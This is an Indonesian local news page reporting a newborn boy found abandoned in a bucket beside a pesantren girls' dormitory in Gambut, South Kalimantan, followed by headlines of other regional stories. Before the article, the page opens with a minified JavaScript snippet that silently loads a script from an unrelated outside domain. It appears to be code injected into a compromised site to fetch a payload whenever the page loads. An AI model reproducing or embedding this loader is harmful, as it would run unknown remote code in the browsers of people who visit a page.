(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Sungguh tega. Seorang bayi mungil dibuang orang tuanya dengan diletakkan dalam ember plastik bertutup rok warna biru yang masih ada bercak darah di samping asrama puti Ponpes Al Mursyidul Amin, Gambut Desa Makmur Kecamatan Tatah Makmur, Senin (24/9).
Bayi mungil tersebut pertama kali ditemukan oleh Nida Norfitriani dan Siti Aminah, santriwati yang sedang membersihkan rumput di samping pondok asrama putri. Ketika itu, mereka mendengar tangisan bayi yang berasal dari tumpukan kursi kayu bekas.
Kejadian ini pun lantas disampaikan kepada dua rekannya yang lain, kemudian mereka mendatangi suara tangisan bayi ke arah tumpukan kursi. Di tempat tersebut, Nida dan Siti serta dua saksi lain, melihat ember plastik berwarna abu-abu yang berisikan 1 buah rok panjang warna biru yang ada bercak darahnya.
Mereka pun selanjutnya membawa ember berisi bayi tersebut ke kantor pengawas asrama Putri. Kemudian para saksi melaporkan kepada H Tantowi Jauhari selaku pengawas asrama putri. Selanjutnya ketika saksi membuka kain rok panjang warna biru yang berada dalam ember ternyata ternyata berisikan seorang bayi laki-laki yang tali pusatnya masih melekat ditubuhnya dan ditubuhnya ada lemak dan bercakkan darah.
“Kita terkejut ketika membuka kain tersebut berisi bayi yang baru lahir. Selanjutnya bayi tersebut kita bawa ke Puskesmas Desa Makmur untuk diperiksa kesehatannya,†ujar H Tantowi.
Di Puskesmas, bayi mungil tersebut selanjutnya diberikan berawatan oleh Hijratun Nisa selaku Bidan Desa. Setelah itu, bayi malang tersebut dibawa ke Polsek Gambut dan untuk sementara bayi dirawat oleh anggota Bhayangkari Polsek Gambut, Emil Fahrurrazi. Saat ini kondisi bayi tersebut dalam keadaan sehat walafiat.
Di sisi lain, pihak Ponpes memastikan bayi tersebut tidak berasal dari pesantren. Hal tersebut ditegaskan perwakilan Ponpes Al Mursyidul, Bahril. “Karena baik sebelum dan sesudah, santri di Ponpes telah kami cek, lengkap semua. Jadi bisa dipastikan bahwa bayi tersebut datang dari luar,” tegasnya.
Lebih lanjut, Bahril juga mengaku sangat menyesalkan terhadap siapapun orangtua bayi yang telah menelantarkan hasil darah dagingnya tersebut. “Untuk bayi tadi sempat dibawa ke puskesmas. Kemudian dibawa lagi ke ponpes sebelum akhirnya dibawa pihak kepolisian untuk dirujuk ke RS Bhayangkara,” terang Bahril.(rendy)
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
This website uses cookies.